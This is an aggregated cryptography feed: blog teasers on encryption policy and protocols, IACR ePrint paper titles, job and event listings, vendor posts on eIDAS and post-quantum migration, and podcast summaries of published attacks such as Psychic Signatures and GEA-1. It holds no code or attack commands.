I learn about cryptographic vulnerabilities all the time, and they generally fill me with some combination of jealousy (“oh, why didn’t I think of that”) or else they impress me with the brilliance of their inventors. But there’s also another class of vulnerabilities: these are the ones that can’t possibly exist in important production software, … Continue reading Kerberoasting
Update 6/10: Based on a short conversation with an engineering lead at X, some of the devices used at X are claimed to be using HSMs. See more further below. Matthew Garrett has a nice post about Twitter (uh, X)’s new end-to-end encryption messaging protocol, which is now called XChat. The TL;DR of Matthew’s post … Continue reading A bit more on Twitter/X’s new encrypted messaging
This is a cryptography blog and I always feel the need to apologize for any post that isn’t “straight cryptography.” I’m actually getting a little tired of apologizing for it (though if you want some hard-core cryptography content, there’s plenty here and here.) Sometimes I have to remind my colleagues that out in the real … Continue reading Dear Apple: add “Disappearing Messages” to iMessage right now
Two weeks ago, the Washington Post reported that the U.K. government had issued a secret order to Apple demanding that the company include a “backdoor” into the company’s end-to-end encrypted iCloud Backup feature. From the article: The British government’s undisclosed order, issued last month, requires blanket capability to view fully encrypted material, not merely assistance … Continue reading Three questions about Apple, encryption, and the U.K.
This is the third and penultimate post in a series about theoretical weaknesses in Fiat-Shamir as applied to proof systems. The first post is here, the second post is here, and you should probably read them. Over the past two posts I’ve given a bit of background on four subjects: (1) interactive proof systems (for … Continue reading How to prove false statements? (Part 3)
I’m supposed to be finishing a wonky series on proof systems (here and here) and I promise I will do that this week. In the midst of this I’ve been a bit distracted by world events. Last week the Washington Post published a bombshell story announcing that the U.K. had filed “technical capability notices” demanding … Continue reading U.K. asks to backdoor iCloud Backup encryption
This is the second part of a two three four-part series, which covers some recent results on “verifiable computation” and possible pitfalls that could occur there. This post won’t make much sense on its own, so I urge you to start with the first part. In the previous post we introduced a handful of concepts, … Continue reading How to prove false statements? (Part 2)
Trigger warning: incredibly wonky theoretical cryptography post (written by a non-theorist)! Also, this will be in two parts. I plan to be back with some more thoughts on practical stuff, like cloud backup, in the near future. If you’ve read my blog over the years, you should understand that I have basically two obsessions. One … Continue reading How to prove false statements? (Part 1)
Recently I came across a fantastic new paper by a group of NYU and Cornell researchers entitled “How to think about end-to-end encryption and AI.” I’m extremely grateful to see this paper, because while I don’t agree with every one of its conclusions, it’s a good first stab at an incredibly important set of questions. … Continue reading Let’s talk about AI and end-to-end encryption
This blog is reserved for more serious things, and ordinarily I wouldn’t spend time on questions like the above. But much as I’d like to spend my time writing about exciting topics, sometimes the world requires a bit of what Brad Delong calls “Intellectual Garbage Pickup,” namely: correcting wrong, or mostly-wrong ideas that spread unchecked … Continue reading Is Telegram really an encrypted messaging app?
ePrint Report: A General Framework for Registered Functional Encryption via User-Specific Pre-Constraining
Tapas Pal, Robert Schädlich
Event Calendar: SPIQUE: 2nd Workshop on Secure Protocol Implementations in the Quantum Era
Lissabon, Portugal, 11 July 2026
Job Posting: Post-Doc in Lattice-based Cryptography
Universität der Bundeswehr München, Germany
Closing date for applications:
Contact: Prof. Mark Manulis (mark.manulis [at] unibw.de)
More information: https://www.unibw.de/pacy-en/vacancies
Job Posting: Professor in Cybersecurity
University of Klagenfurt, Klagenfurt, Austria
AAU is seeking to appoint a full professor in cybersecurity (candidates from all technical areas are welcome). Depending on the candidate's academic credentials, the professorship can either be open-ended or fixed-term (with option of a permanent extension).
The professorship is located at the Department of Artificial Intelligence and Cybersecurity, and takes a central role in the department, as well as the delivery of the MSc in AI and Cybersecurity.
A starting date of September 1st 2026 is envisioned. Salary, as well as associated positions (pre-doc and post-doc) are negotiable. For further information about the position please follow the link, and/or get in touch via the context supplied below.
Applications must be made by 14th of January 2026 via: https://jobs.aau.at/en/job/5-2/Closing date for applications:
Contact: Elisabeth . Oswald AT aau.at
More information: https://jobs.aau.at/en/job/5-2/
Job Posting: Research interns (Summer 2026)
Aarhus University, Denmark
Closing date for applications:
Contact: For more information about the internships, please contact Sabine Oechsner (s.a.oechsner@vu.nl) or Peter Scholl (peter.scholl@cs.au.dk).
More information: https://mpcinthewild.github.io
ePrint Report: LifeXP+: Secure, Usable and Reliable Key Recovery for Web3 Applications
Panagiotis Chatzigiannis, Suvradip Chakraborty, Shimaa Ahmed
ePrint Report: ML-Guided Beam Search for Differential Trail Discovery in SPN Ciphers: A Case Study on GIFT-64
Alireza Gholizadeh Shahrbejari, Reza Ebrahimi Atani
ePrint Report: Consistency Verification for Zero-Knowledge Virtual Machine on Circuit-Irrelevant Representation
Jingyu Ke, Boxuan Liang, Guoqiang Li
ePrint Report: Hash-based Signature Schemes for Bitcoin
Mikhail Kudinov, Jonas Nick
ePrint Report: Disproving the Linearity of the Polynomials after the Pre-image Substitution in the System of the Third Attempt of MAYO
Anna Stefano Narivelomanana
ePrint Report: On $k$-sum algorithms for $\{-1,1\}^m$ vectors
Pabasara Athukorala, Steven D. Galbraith
ePrint Report: Privacy-Preserving Identifier Checking in 5G
Marcel D.S.K. Gräfenstein, Stefan Köpsell, Maryam Zarezadeh
ePrint Report: A Formal Security Proof of Masking: Reduction from Relaxed Noisy Leakage to Probing Model without Random Probing and Application to LR Primitive
Rei Ueno, Akiko Inoue, Kazuhiko Minematsu, Akira Ito, Naofumi Homma
ePrint Report: Putting Multi into Multi-Signatures: Tight Security for Multiple Signers
Anja Lehmann, Cavit Özbay
ePrint Report: Small-field hash-based SNARGs are less sound than conjectured
Giacomo Fenzi, Antonio Sanso
ePrint Report: Cardinal: Bridging Bitcoin with Ownership Preservation
Lukas Aumayr, Jesus Diaz, Dimitar Jetchev, Aggelos Kiayias
ePrint Report: Refined Modelling of the Primal Attack, and Variants Against Module-Learning With Errors
Paola de Perthuis, Filip Trenkić
ePrint Report: Turning Simulation into Construction: New Uses of NIZK Simulators
Stephan Krenn, Kai Samelin, Daniel Slamanig
ePrint Report: Broadcast-Efficient Secure Multiparty Computation
Juan Garay, Clint Givens, Rafail Ostrovsky
ePrint Report: aLEAKator: HDL Mixed-Domain Simulation for Masked Hardware & Software Formal Verification
Noé Amiot, Quentin Meunier, Karine Heydemann, Emmanuelle Encrenaz
ePrint Report: Constant-time Quaternion Algorithms for SQIsign
Andrea Basso, Chenfeng He, David Jacquemin, Fatna Kouider, Péter Kutas, Anisha Mukherjee, Sina Schaeffler, Sujoy Sinha Roy
ePrint Report: Mobius: Enabling Byzantine-Resilient Single Secret Leader Election with Uniquely Verifiable State
Hanyue Dou, Peifang Ni, Yingzi Gao, Jing Xu
ePrint Report: Game-Theoretically Fair Distributed Coin Tossing With Private Preferences
Pedro Branco, Pratik Soni, Sri AravindaKrishnan Thyagarajan, Ke Wu
ePrint Report: An Improved Quantum Algorithm for 3-Tuple Lattice Sieving
Lynn Engelberts, Yanlin Chen, Amin Shiraz Gilani, Maya-Iggy van Hoof, Stacey Jeffery, Ronald de Wolf
ePrint Report: ALIOTH: An Efficient and Secure Weight-of-Evidence Framework for Privacy-Preserving Data Processing
Ye Dong, Xiangfu Song, W.j Lu, Xudong Chen, Yaxi Yang, Ruonan Chen, Tianwei Zhang, Jin-Song Dong
ePrint Report: Abuse Resistant Traceability with Minimal Trust for Encrypted Messaging Systems
Zhongming Wang, Tao Xiang, Xiaoguo Li, Guomin Yang, Biwen Chen, Ze Jiang, Jiacheng Wang, Chuan Ma, Robert H. Deng
ePrint Report: BEANIE – A 32-bit Cipher for Cryptographic Mitigations against Software Attacks
Simon Gerhalter, Samir Hodžić, Marcel Medwed, Marcel Nageler, Artur Folwarczny, Ventzi Nikov, Jan Hoogerbrugge, Tobias Schneider, Gary McConville, Maria Eichlseder
ePrint Report: Fully Adaptive Threshold IBE and Signatures in the Standard Model
Jiayun Yan, Yu Li, Jie Chen, Haifeng Qian, Xiaofeng Chen, Debiao He
ePrint Report: One-way Functions and Boundary Hardness of Randomized Time-Bounded Kolmogorov Complexity
Yanyi Liu, Rafael Pass
ePrint Report: Hardware Implementation of Stealthy and Lightweight Backdoor for CRYSTALS-Kyber
Suraj Mandal, Prasanna Ravi, M Dhilipkumar, Debapriya Basu Roy, Anupam Chattopadhyay
Event Calendar: SAC 2026 cycle 2: Selected Areas in Cryptography 2026 cycle 2
Ottawa, Canada, 24 August - 28 August 2026
Event Calendar: SAC 2026 cycle 1: Selected Areas in Cryptography 2026 cycle 1
Ottawa, Canada, 24 August - 28 August 2026
Job Posting: Fully Funded Ph.D. Scholarships - Post-Quantum Cryptography
Monash University, Melbourne, Australia
1. FHE Private Computation and zk-SNARKs: to devise practical cryptographic tools for securing FHE-based private cloud computation applications, including theory and application of zk-SNARKs,
2. Design of practical Post-Quantum Symmetric-key-based digital signatures (including Legendre PRF based) with privacy enhanced properties using MPC and SNARK techniques,
3. Design of practical lattice-based cryptographic protocols,
4. Secure and efficient implementation of lattice-based cryptography.
Students will have the opportunity to work in an excellent research environment. Monash University is among the leading universities in Australia and is located in Melbourne, ranked as Australia's most liveable city and among the most liveable cities in the world.
Applicants should have (or expected to complete in the next 12 months) a Masters or Honours equivalent qualification with a research thesis, with excellent grades in mathematics, theoretical computer science, cryptography, or closely related areas. They should have excellent English verbal and written communication skills. Programming experience and skills, especially in Sagemath/python/Magma and/or C/C++, are also highly desirable.
To apply: please fill in the following form - applicants will be assessed as they are received:
https://docs.google.com/forms/d/e/1FAIpQLSetFZLvDNug5SzzE-iH97P9TGzFGkZB-ly_EBGOrAYe3zUYBw/viewform?usp=sf_link
Closing date for applications:
Contact: Ron Steinfeld
More information: https://docs.google.com/forms/d/e/1FAIpQLSetFZLvDNug5SzzE-iH97P9TGzFGkZB-ly_EBGOrAYe3zUYBw/viewform?usp=sf_link
ePrint Report: Cryptanalysis on Asymmetric Structured Key Agreement Schemes
Koki Jimbo
ePrint Report: SVP$_p$ is Deterministically NP-Hard for all $p > 2$, Even to Approximate Within a Factor of $2^{\log^{1-\varepsilon} n}$
Isaac M Hair, Amit Sahai
ePrint Report: Weight of Polynomial Products Mod $(X^n+1)$-Application to the HQC Cryptosystem-
Laila El Aimani
ePrint Report: Policy Compliant Secure Messaging
Joël Alwen, Xiaohui Ding, Sanjam Garg, Yiannis Tselekounis
ePrint Report: PQCUARK: A Scalar RISC-V ISA Extension for ML-KEM and ML-DSA
Xavier Carril, Alicia Manuel Pasoot, Emanuele Parisi, Carlos Andrés Lara-Niño, Oriol Farràs, Miquel Moretó
ePrint Report: TAPIR: A Two-Server Authenticated PIR Scheme with Preprocessing
Francesca Falzon, Laura Hetz, Annamira O'Toole
ePrint Report: On the (Un)biasability of Existing Verifiable Random Functions
Davide Carnemolla, Dario Catalano, Valentina Frasca, Emanuele Giunta
ePrint Report: Extended Abstract: NICE-PAKE and TEMPO Instantiations from MLWE Rerandomizable Splittable KEMs
Nouri Alnahawi, Alexander Wiesmaier
ePrint Report: LIME: High-Performance Private Inference with Lightweight Model and Batch Encryption
Huan-Chih Wang, Ja-Ling Wu
ePrint Report: Systems Security Foundations for Agentic Computing
Mihai Christodorescu, Earlence Fernandes, Ashish Hooda, Somesh Jha, Johann Rehberger, Khawaja Shams
Job Posting: PhD student in post-quantum cryptography
Department of Digital Security, Radboud University, Netherlands
Closing date for applications:
Contact: Simona Samardjiska, Radboud University
Job Posting: Postdoctoral researcher
Columbia University
-----
Blockchain technology creates the abstraction of a “computer in the sky”---a global and shared programmable virtual machine that combines the general-purpose functionality of a computer with the decentralization and fault-tolerance of the Internet. A blockchain protocol plays a role similar to that of an operating system---an intermediate layer that insulates the application layer (i.e., smart contracts) from the hardware layer (i.e., the Internet) and acts as the “master program” that coordinates the execution of all the virtual machine’s system and user-installed programs. Blockchain technology can be viewed as adding state and data processing capabilities to traditional Internet infrastructure and, among other applications, it enables stronger forms of ownership of digital assets than society has ever had before.
Blockchain protocol design requires innovation in and the synthesis of a number of technically challenging fields, including distributed systems, game theory and mechanism design, cryptography, and more. The Columbia-Ethereum Center for Blockchain Protocol Design brings together the multi-disciplinary expertise at Columbia to advance the performance, security, robustness, and economics of this societally important technology.
The Center’s activities include research grants for Columbia faculty, students, and their collaborators; postdoctoral and graduate student fellowships; an industry research-in-residence program; and several events, including the Columbia Cryptoeconomics Workshop and an annual summer school.
Closing date for applications:
Contact: Tim Roughgarden (tr@cs.columbia.edu).
More information: https://www.engineering.columbia.edu/research-innovation/institutes-centers-initiatives/computational-sciences-ai/blockchain-protocol-design
Job Posting: 1 PhD + 1 Post-Doc Position
FAU Erlangen-Nuremberg, Germany
The Real-World Crypto Group at FAU invites applications for 1 PhD and 1 Postdoctoral position (full-time, E13 TV-L), starting early 2026.
About the PositionsThe positions are funded for three years and focus on:
Good English skills are expected; German is not required.
Group & LocationWe're a young, motivated, international team working on strengthening security and privacy in practice and improving methods for that in theory. The Nuremberg region offers excellent transport links (including an international airport and fast trains to Munich, Frankfurt, and Berlin), proximity to international companies, and easy access to the Franconian Switzerland climbing and outdoor area.
How to ApplyPlease submit your application by 31 January 2026 to paul.roesler@fau.de.
Your application should include:
Interviews will be held in mid February, online or in person in Erlangen.
Equal OpportunityFAU encourages applications from women and gives preference to candidates with disabilities in cases of equal qualification.
Closing date for applications:
Contact: Paul Rösler
More information: https://roeslpa.de/application.html
Job Posting: PhD Student in AI Security
Linköping University, Sweden
Closing date for applications:
Contact: Khac-Hoang Ngo, Assistant Professor, khac-hoang.ngo@liu.se
More information: https://liu.se/en/work-at-liu/vacancies/27883
Job Posting: FHE Engineer
Nanyang Technological University + TT-logic, Singapore
Closing date for applications:
Contact: Please submit your resume, cover letter, and any relevant supporting documents (links to code/repos welcome) to thomas.peyrin@ntu.edu.sg with the subject line "FHE Engineer - Application". Only shortlisted candidates will be contacted for further steps in the selection process.
More information: https://syllab-ntu.github.io/syllab/2026_FHE_engineer/
Job Posting: MS and PhD Positions in Applied Post-Quantum Cryptography
National Sun Yat-sen University, Department of Computer Science and Engineering; Kaohsiung, Taiwan
Closing date for applications:
Contact: Arijit Karati (arijit.karati@mail.cse.nsysu.edu.tw)
More information: https://cse.nsysu.edu.tw/p/412-1205-16761.php?Lang=en
Job Posting: Ph.D. Scholarships in Post-quantum Cryptography
Xi’an Jiaotong-Liverpool University, PQC-X, Suzhou, China
We are seeking multiple students to join us and do research in design, analysis, implementation and/or application of post-quantum cryptography.
PQC-X is a newly founded lab led by Prof. Jintai DING, a globally recognized leader in Post-quantum Cryptography. Our doctoral programme is a strategic research collaboration between the Xi’an Jiaotong-Liverpool University and the University of Liverpool. You will be formally registered with the two universities as a doctoral student. Successful completion of the programme will lead to a doctoral degree awarded by the University of Liverpool and recognised by the Chinese Ministry of Education.
What we offer:
General requirements: We are looking for motivated, talented, and hardworking applicants who have
English language requirements: IELTS/TOEFL/PTE.
Please refer to https://www.xjtlu.edu.cn/en/admissions/doctoral for more information.
For Inquiries, please contact Associate Professor Zhang.
Closing date for applications:
Contact: wenbin[.]zhang[at]xjtlu[.]edu[.]cn
ePrint Report: Crypto Wars in Secure Messaging: Covert Channels in Signal Despite Leaked Keys
Mohammadamin Rakeei, Rosario Giustolisi, Andy Rupp, Chuanwei Lin, Gabriele Lenzini
ePrint Report: Efficient GHASH and POLYVAL Implementation Using Polynomial Multiplication: Optimized 64-bit Decomposition with Bit-Reversal Elimination
Mamone Tarsha Kurdi, Niels Möller
ePrint Report: Lattice-Based Linkable Ring Signatures for Anonymous and Accountable Whistleblowing
Vishal Pareek, Aditi Kar Gangopadhyay, Sugata Gangopadhyay
ePrint Report: Multivariate exponential equations with unknown coefficients
Trey Li
ePrint Report: Hybrid Subsupport Guessing: A New Hybrid Technique for the Rank Decoding Problem
Hugo Beeloo-Sauerbier Couvée, Antonia Wachter-Zeh, Violetta Weger
ePrint Report: 1-Adaptive Weak Pseudorandom Functions
Davide Li Calsi, Dominique Schröder, Julian Thomas
ePrint Report: How to Prove Post-Quantum Security for Succinct Non-Interactive Reductions
Alessandro Chiesa, Zijing Di, Zihan Hu, Yuxi Zheng
ePrint Report: Extending and Accelerating Inner Product Masking with Fault Detection via Instruction Set Extension
Songqiao Cui, Geng Luo, Junhan Bao, Josep Balasch, Ingrid Verbauwhede
ePrint Report: Hardness and Algorithms for Batch LPN under Dependent Noise
Xin Li, Songtao Mao, Zhaienhe Zhou
ePrint Report: Correction-Based Fault Attack Against Randomized MAYO
Mohamed Abdelmonem, Lejla Batina, Durba Chatterjee, Håvard Raddum
ePrint Report: You Only Decapsulate Once: Ciphertext-Independent Single-Trace Passive Side-Channel Attacks on HQC
Zhenzhi Lai, Ruiyi Zhang, Zhiyuan Zhang, Julius Hermelink, Michael Schwarz, Van-Thuan Pham, Udaya Parampalli
ePrint Report: Attacks and Remedies for Randomness in AI: Cryptanalysis of PHILOX and THREEFRY
Jens Alich, Thomas Eisenbarth, Hossein Hadipour, Gregor Leander, Felix Mächtle, Yevhen Perehuda, Shahram Rasoolzadeh, Jonas Sander, Cihangir Tezcan
ePrint Report: Pairing-Based SNARGs with Two Group Elements
Gal Arnon, Jesko Dujmovic, Eylon Yogev
ePrint Report: One Fell Swoop: A Single-Trace Key-Recovery Attack on the Falcon Signing Algorithm
Kang Li, Shouran Ma, Haochen Dou, Qian Guo
Why replace the elliptic package? Yesterday, the Trail of Bits blog published a post about finding cryptographic bugs in the elliptic library (a Javascript package on NPM) by using Wycheproof. This blog post was accompanied by a new chapter in their Testing Handbook about using Wycheproof as well as two CVEs. It’s pretty cool work, […]
Since I have your attention for the moment, I’d like you to ask yourself a question: What is it that drives you in life? Do you yearn for the feeling of safety? By seeking power, status, wealth, and fame? Is it cravings for pleasure that motivate your actions? Does a sense of obligation to others, […]
It is tempting and forgivable to believe that we’re in control of our social media experiences. After all, we write what we want in our bio, select our avatars, and even come up with our own handles. We decide who we follow, what we post, and which recommendations to consider. It never feels like we’re […]
I have several projects in-flight, and I wanted to write a quick status update for them so that folks can find it easier to follow along. Please bear in mind: This is in addition to, and totally separate from, my full-time employment. Hell Frozen Over A while ago, annoyed by the single point of failure […]
One of the first rules you learn about technical writing is, “Know your audience.” But often, this sort of advice is given without sufficient weight or practical examples. Instead, you’re ushered quickly onto the actual tactile aspects of writing–with the hope that some seed was planted that will sprout later in your education. Science communication […]
In a recent blog post, I laid out the argument that, if you have securely implemented end-to-end encryption in your software, then the jurisdiction where your ciphertext is stored is almost irrelevant. Where jurisdiction does come into play, unfortunately, is where your software is developed and whether or not the local government will employ rubber-hose […]
“Won’t someone think of the poor children?” they say, clutching their pearls as they enact another stupid law that will harm the privacy of every adult on Earth and create Prior Restraint that inhibits the freedom of speech in liberal democracies. If you’re totally ignorant of how things work, the proposal of “verifying you’re an […]
This is a furry blog, where I write about whatever interests me and sign it with my fursona’s name. I sometimes talk about furry fandom topics, but I sometimes also talk about applied cryptography. If you got a mild bit of emotional whiplash from that sentence, the best list of posts to start reading to […]
Every time I lightly touch on this point, I always get someone who insists on arguing with me about it, so I thought it would be worth making a dedicated, singular-focused blog post about this topic without worrying too much about tertiary matters. Here’s the TL;DR: If you actually built your cryptography properly, you shouldn’t […]
I have never seen security and privacy comparison tables (henceforth referred to simply as “checklists” for brevity) used for any other purpose but deception. After pondering this observation, I’m left seriously doubting if these checklists have any valid use case except to manipulate the unsuspecting. Please keep in mind that I’m talking about something very […]
Next month, AMC+ is premiering a new series about furries that tracked down sexual abusers hiding within the furry fandom. It’s called, The Furry Detectives: Unmasking A Monster. You can watch the trailer for this below. And I do recommend watching the trailer before reading the rest of this blog post. Done? Okay. Bad Takes […]
I normally don’t like writing “Current Events” pieces (and greatly prefer focusing on what SEO grifters like to call “evergreen content”), but I feel this warrants it. Content warning: Violence, death, mentions of political extremism. What Does “Great” Mean? Imagining living under constant threats of having your house burned down for 2 years, because your […]
It’s becoming increasingly apparent that one of the reasons why tech companies are so enthusiastic about shoving AI into every product and service is that they fundamentally do not understand why people dislike AI. I will elaborate. I was recently made aware of the Jetbrains developer ecosystem survey, which included a lot of questions about […]
The history of this blog might very well be a cautionary tail (sic) about scope creep. The Original Vision For Dhole Moments Originally, I just wanted a place to write about things too long for Twitter (back when I was an avid Twitter poster). I also figured, if nothing else, it would be a good […]
The types of people that proudly call themselves “influencers,” and describe what they create merely as “content,” are so profoundly allergic to authenticity that it bewilders the mind. Don’t believe me? Look no further than the usage of “unalive” in the modern lexicon. The verb “unalive” became a thing because content creators (predominantly on YouTube) […]
Internet discussions about end-to-end encryption are plagued by misunderstandings, misinformation, and some people totally missing the point. Of course, people being wrong on the Internet isn’t exactly news. Yesterday, a story in The Atlantic alleged that the Trump Administration accidentally added their editor, Jeffrey Goldberg, to a Signal group chat discussing a military action in […]
(With severe apologies to Miles Davis.) Post-Quantum Cryptography is coming. But in their haste to make headway on algorithm adoption, standards organizations (NIST, IETF) are making a dumb mistake that will almost certainly bite implementations in the future. Sophie Schmieg wrote about this topic at length and Filippo Valsorda suggested we should all agree to […]
Towards the end of last year, we learned that a group (allegedly affiliated with the Chinese government, referred to as “Salt Typhoon”) breached T-Mobile and other telecommunications companies and caused all sorts of havoc. This isn’t really a blog post about that incident, but it was the catalyst that inspired a bit of curiosity within […]
Content Warning: This blog post talks about adult themes and sexuality. If you’re under 18, sit this one out. If you’ve been around the furry fandom for a while, you will notice that discourse tends to have a cyclical nature to it. I’ve written about this topic before. More than once. And even covered it […]
Last year, I urged furries to stop using Telegram because it doesn’t actually provide them with any of the privacy guarantees they think it gives them. Instead of improving Telegram’s cryptography to be actually secure, the CEO started spreading misleading bullshit about Signal®. Since then, I’ve been flooded with people asking me about various other […]
Selecting the right Trust Service Provider (TSP) vendor is vital for any organisation that issues or relies on Qualified Electronic Signatures (QES), seals, timestamps, or certificates. Under the EU’s eIDAS Regulation, TSPs enable the creation of legally valid and compliant digital transactions across Europe.
With eIDAS 2.0 now in effect, Trust Service Providers across the EU are facing a complex rollout of implementing acts that define the practical application of the new regulation.
Compliance in fintech is anything but straightforward. Between the Payment Card Industry Data Security Standard (PCI DSS) and the National Institute of Standards and Technology (NIST) cybersecurity frameworks, the expectations are high, the details complex, and the pace relentless. For fintechs built on innovation, the challenge isn’t just understanding the rules, it’s keeping up with them while scaling securely and moving fast.
Cryptomathic has completed an independent security assessment of the Mobile Application Security Core (MASC) with NowSecure. The engagement covered iOS and Android builds of the MASC library and a reference application during Q3 2025. Testing aligned to the OWASP Mobile Application Security Verification Standard (MASVS) and used the Mobile Application Security Testing Guide (MASTG) for test execution.
In today’s digital economy, trust is the cornerstone of secure online interactions. Whether signing contracts, authenticating users, or ensuring the integrity of digital communications, Trust Service Providers (TSPs) and Qualified Trust Service Providers (QTSPs) play a crucial role. Both deliver essential services that safeguard transactions and protect identities, but there are significant differences in their recognition, compliance requirements, and legal weight under the EU eIDAS regulation.
Microsoft 365 is the backbone of business productivity, but it also remains one of the most heavily exploited attack surfaces. Business email compromise, malicious macros, and unverified add-ins continue to slip past blunt defenses, leaving organizations stuck between two bad choices: block features and disrupt workflows, or accept the risks and rack up audit findings.
Post-quantum cryptography (PQC) is no longer a theoretical concern. With standards finalized and regulatory frameworks such as DORA, PCI DSS 4.0, and NIS2 setting strict requirements, financial institutions must begin the process of upgrading their cryptographic systems. The transition, however, is far from straightforward.
Financial institutions are facing an unprecedented convergence of compliance pressures and technological challenges. With the European Union’s DORA, the in‑force PCI DSS 4.0, and the EU‑coordinated PQC transition roadmap and newly standardised NIST PQC algorithms, teams should align to the concrete dates and milestones rather than a generic 12 to 24 month window. Yet, many organisations still lack a formal migration roadmap, leaving them exposed to audit findings, operational risk, and regulatory scrutiny.
Cryptomathic is proud to welcome Jesper Celano as Chief Financial Officer. With a distinguished background in financial leadership and a deep understanding of the cybersecurity and IT sectors, Jesper joins at a pivotal moment in Cryptomathic’s global growth journey.
A question often arises: if a device already has Google Play Protect (GPP) – Android’s built-in malware protection – what extra value does MASC provide for malware defense? It’s important to understand that MASC and Google Play Protect operate at different layers and with different scopes. They are complementary, not redundant.
For several years, CryptoHack has been a free platform for learning modern cryptography through fun and challenging programming puzzles. From toy ciphers to post-quantum cryptography, CryptoHack has a wide-ranging and ever increasing library of puzzles for both the aspiring and accomplished cryptographer. On this episode, Nadim and Lucas are joined by Giacomo Pope and Laurence Tennant, the founders of CryptoHack, to discuss how the platform came to be, and how it evolved, as well as how to improve cryptographic pedagogy more broadly. Special Guests: Giacomo Pope and Laurence Tennant.
On April 19th 2022, Neil Madden disclosed a vulnerability in many popular Java runtimes and development kits. The vulnerability, dubbed "Psychic Signatures", lies in the cryptography for ECDSA signatures and allows an attacker to bypass signature checks entirely for these signatures. How are popular cryptographic protocol implementations in Java affected? What's the state of Java cryptography as a whole? Join Neil, Nadim and Lucas as they discuss. Music composed by Yasunori Mitsuda. Special Guest: Neil Madden.
Threema is a Swiss encrypted messaging application. It has more than 10 million users and more than 7000 on-premise customers. Prominent users of Threema include the Swiss Government and the Swiss Army, as well as the current Chancellor of Germany, Olaf Scholz. Threema has been widely advertised as a secure alternative to other messengers. Kenny, Kien and Matteo from the ETH Zurich Applied Cryptography Group present seven attacks against the cryptographic protocols used by Threema, in three distinct threat models. All the attacks are accompanied by proof-of-concept implementations that demonstrate their feasibility in practice. Links and papers discussed in the show: * Three Lessons from Threema (https://breakingthe3ma.app/) Special Guests: Kenny Paterson, Kien Tuong Truong, and Matteo Scarlata.
Benjamin Wesolowski talks about his latest paper in which he mathematically proved that the two fundamental problems underlying isogeny-based cryptography are equivalent. Links and papers discussed in the show: * The supersingular isogeny path and endomorphism ring problems are equivalent (https://eprint.iacr.org/2021/919) * Episode 5: Isogeny-based Cryptography for Dummies! (https://www.cryptography.fm/5) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guest: Benjamin Wesolowski.
A team of cryptanalysits presents the first publicly available cryptanalytic attacks on the GEA-1 and GEA-2 algorithms. Instead of providing full 64-bit security, they show that the initial state of GEA-1 can be recovered from as little as 65 bits of known keystream (with at least 24 bits coming from one frame) in time 240 GEA-1 evaluations and using 44.5 GiB of memory. The attack on GEA-1 is based on an exceptional interaction of the deployed LFSRs and the key initialization, which is highly unlikely to occur by chance. This unusual pattern indicates that the weakness is intentionally hidden to limit the security level to 40 bit by design. Cryptanalysis of the GPRS Encryption Algorithms GEA-1 and GEA-2 (https://eprint.iacr.org/2021/819) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guests: Gaëtan Leurent and Håvard Raddum.
TLS is an internet standard to secure the communication between servers and clients on the internet, for example that of web servers, FTP servers, and Email servers. This is possible because TLS was designed to be application layer independent, which allows its use in many diverse communication protocols. ALPACA is an application layer protocol content confusion attack, exploiting TLS servers implementing different protocols but using compatible certificates, such as multi-domain or wildcard certificates. Attackers can redirect traffic from one subdomain to another, resulting in a valid TLS session. This breaks the authentication of TLS and cross-protocol attacks may be possible where the behavior of one protocol service may compromise the other at the application layer. Links and papers discussed in the show: * ALPACA Attack Website (https://alpaca-attack.com/) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guests: Marcus Brinkmann and Robert Merget.
Nadim talks with Peter Schwabe and Matthias Kannwischer about the considerations — both in terms of security and performance — when implementing cryptographic primitives for low-level and embedded platforms. Links and papers discussed in the show: * Optimizing crypto on embedded microcontrollers (https://cryptojedi.org/peter/data/coins-20170830.pdf) * Implementing post-quantum cryptography on embedded microcontrollers (https://cryptojedi.org/peter/data/graz-20190917.pdf) * Optimizing crypto on embedded microcontrollers (ASEC 2018) (https://cryptojedi.org/peter/data/asec-20181210.pdf) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guests: Matthias Kannwischer and Peter Schwabe.
Wi-Fi is a pretty central technology to our daily lives, whether at home or at the office. Given that so much sensitive data is regularly exchanged between Wi-Fi devices, a number of standards have been developed to ensure the privacy and authentication of Wi-Fi communications. However, a recent paper shows that every single Wi-Fi network protection standard since 1997, from WEP all the way to WPA3, is exposed to a critical vulnerability that allows the exfiltration of sensitive data. How far does this new attack go? How does it work? And why wasn’t it discovered before? We’ll discuss this and more in this episode of Cryptography FM. Links and papers discussed in the show: * Fragment and Forge: Breaking Wi-Fi Through Frame Aggregation and Fragmentation (https://papers.mathyvanhoef.com/usenix2021.pdf) * Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd (https://papers.mathyvanhoef.com/dragonblood.pdf) * Release the Kraken: New KRACKs in the 802.11 Standard (https://papers.mathyvanhoef.com/ccs2018.pdf) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guest: Mathy Vanhoef.
Contact discovery is a core feature in popular mobile messaging apps such as WhatsApp, Signal and Telegram that lets users grant access to their address book in order to discover which of their contacts are on that messaging service. While contact discovery is critical for WhatsApp, Signal and Telegram to function properly, privacy concerns arise with the current methods and implementations of this feature, potentially resulting in the exposure of a range of sensitive information about users and their social circle. Do we really need to rely on sharing every phone number on our phone in order for mobile messengers to be usable? What are the privacy risks, and do better cryptographic alternatives exist for managing that data? Joining us are researchers looking exactly into this problem, who will tell us more about their interesting results. Links and papers discussed in the show: All the Numbers are US: Large-scale Abuse of Contact Discovery in Mobile Messengers (https://www.ndss-symposium.org/wp-content/uploads/ndss2021_1C-3_23159_paper.pdf) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guests: Alexandra Dmitrienko, Christian Weinert, and Christoph Hagen.
Secure multi-party computation is a fascinating field in cryptography, researching how to allow multiple parties to compute secure operations over inputs while keeping those inputs private. This makes multi-party computation a super relevant technology in areas such as code signing, hospital records and more. But what does it take to bring secure multi-party computation from the blank slate of academia and into the messiness of the real world? Today on Cryptography FM, we’re joined by Dr. Yehuda Lindell and Dr. Nigel Smart, from Unbound Security, to tell us about their research, their experiences with real world secure multiparty computation, and more. Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guests: Nigel Smart and Yehuda Lindell.
